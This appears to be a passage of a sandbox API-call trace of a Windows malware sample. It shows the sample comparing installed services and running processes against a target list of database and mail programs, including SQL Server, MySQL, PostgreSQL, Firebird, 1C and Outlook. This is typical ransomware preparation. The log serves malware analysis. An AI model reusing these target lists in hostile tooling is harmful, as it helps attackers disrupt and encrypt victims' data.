[0194.285] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0194.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0194.285] lstrlenW (lpString="iphlpsvc") returned 8 [0194.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.285] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0194.285] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0194.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0194.286] lstrlenW (lpString="LanmanServer") returned 12 [0194.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0194.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0194.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0194.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0194.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0194.286] lstrlenW (lpString="LanmanWorkstation") returned 17 [0194.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0194.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0194.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0194.286] lstrlenW (lpString="lmhosts") returned 7 [0194.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0194.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0194.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0194.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0194.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0194.286] lstrlenW (lpString="MMCSS") returned 5 [0194.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0194.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0194.286] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0194.286] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0194.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0194.286] lstrlenW (lpString="MpsSvc") returned 6 [0194.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0194.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0194.286] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0194.286] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0194.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0194.286] lstrlenW (lpString="Netman") returned 6 [0194.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0194.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0194.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0194.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0194.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0194.287] lstrlenW (lpString="netprofm") returned 8 [0194.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0194.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0194.287] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0194.287] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0194.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0194.287] lstrlenW (lpString="NlaSvc") returned 6 [0194.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0194.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0194.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0194.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0194.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0194.287] lstrlenW (lpString="nsi") returned 3 [0194.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0194.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0194.287] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0194.287] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0194.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0194.287] lstrlenW (lpString="PcaSvc") returned 6 [0194.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0194.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0194.287] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0194.287] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0194.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0194.287] lstrlenW (lpString="PlugPlay") returned 8 [0194.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0194.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0194.287] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0194.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0194.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0194.288] lstrlenW (lpString="Power") returned 5 [0194.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0194.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0194.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0194.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0194.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0194.288] lstrlenW (lpString="ProfSvc") returned 7 [0194.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0194.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0194.288] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0194.288] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0194.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0194.288] lstrlenW (lpString="RpcEptMapper") returned 12 [0194.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0194.288] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0194.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0194.288] lstrlenW (lpString="RpcSs") returned 5 [0194.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0194.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0194.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0194.288] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0194.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0194.288] lstrlenW (lpString="SamSs") returned 5 [0194.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0194.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0194.288] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0194.288] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0194.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0194.288] lstrlenW (lpString="Schedule") returned 8 [0194.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0194.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0194.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0194.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0194.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0194.289] lstrlenW (lpString="SENS") returned 4 [0194.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0194.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0194.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0194.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0194.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0194.289] lstrlenW (lpString="ShellHWDetection") returned 16 [0194.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.289] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0194.289] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0194.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0194.289] lstrlenW (lpString="Spooler") returned 7 [0194.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0194.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0194.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0194.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0194.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0194.289] lstrlenW (lpString="swprv") returned 5 [0194.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0194.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0194.289] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0194.289] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0194.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0194.289] lstrlenW (lpString="SysMain") returned 7 [0194.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0194.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0194.290] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0194.290] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0194.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0194.290] lstrlenW (lpString="Themes") returned 6 [0194.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0194.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0194.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0194.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0194.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0194.290] lstrlenW (lpString="TrkWks") returned 6 [0194.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0194.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0194.290] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0194.290] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0194.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0194.290] lstrlenW (lpString="UxSms") returned 5 [0194.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0194.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0194.290] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0194.290] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0194.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0194.290] lstrlenW (lpString="VSS") returned 3 [0194.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0194.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0194.290] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0194.290] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0194.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0194.290] lstrlenW (lpString="WdiServiceHost") returned 14 [0194.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0194.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0194.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0194.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0194.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0194.291] lstrlenW (lpString="WdiSystemHost") returned 13 [0194.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0194.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0194.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0194.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0194.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0194.291] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0194.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0194.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0194.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0194.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0194.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0194.291] lstrlenW (lpString="Winmgmt") returned 7 [0194.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0194.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0194.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0194.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0194.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0194.291] lstrlenW (lpString="WPDBusEnum") returned 10 [0194.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0194.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0194.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0194.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0194.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0194.291] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0194.291] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0194.294] Process32FirstW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.294] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.294] lstrlenW (lpString="System") returned 6 [0194.294] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0194.294] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0194.294] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0194.294] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0194.294] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0194.294] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0194.294] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0194.294] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.295] lstrlenW (lpString="smss.exe") returned 8 [0194.295] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0194.295] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.295] lstrlenW (lpString="csrss.exe") returned 9 [0194.295] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0194.295] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0194.295] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0194.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0194.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0194.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0194.296] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.296] lstrlenW (lpString="wininit.exe") returned 11 [0194.296] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0194.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0194.296] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0194.296] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.297] lstrlenW (lpString="csrss.exe") returned 9 [0194.297] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.297] lstrlenW (lpString="winlogon.exe") returned 12 [0194.297] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.297] lstrlenW (lpString="services.exe") returned 12 [0194.297] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.298] lstrlenW (lpString="lsass.exe") returned 9 [0194.298] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0194.298] lstrlenW (lpString="lsm.exe") returned 7 [0194.298] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.299] lstrlenW (lpString="svchost.exe") returned 11 [0194.299] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.299] lstrlenW (lpString="svchost.exe") returned 11 [0194.299] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.299] lstrlenW (lpString="svchost.exe") returned 11 [0194.299] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.300] lstrlenW (lpString="svchost.exe") returned 11 [0194.300] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.300] lstrlenW (lpString="svchost.exe") returned 11 [0194.300] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.301] lstrlenW (lpString="audiodg.exe") returned 11 [0194.301] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.301] lstrlenW (lpString="svchost.exe") returned 11 [0194.301] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.301] lstrlenW (lpString="explorer.exe") returned 12 [0194.301] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.302] lstrlenW (lpString="dwm.exe") returned 7 [0194.302] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.302] lstrlenW (lpString="svchost.exe") returned 11 [0194.302] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0194.302] lstrlenW (lpString="n.exe") returned 5 [0194.303] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.303] lstrlenW (lpString="spoolsv.exe") returned 11 [0194.303] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.303] lstrlenW (lpString="svchost.exe") returned 11 [0194.303] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.304] lstrlenW (lpString="taskhost.exe") returned 12 [0194.304] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0194.304] lstrlenW (lpString="reader_sl.exe") returned 13 [0194.304] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: 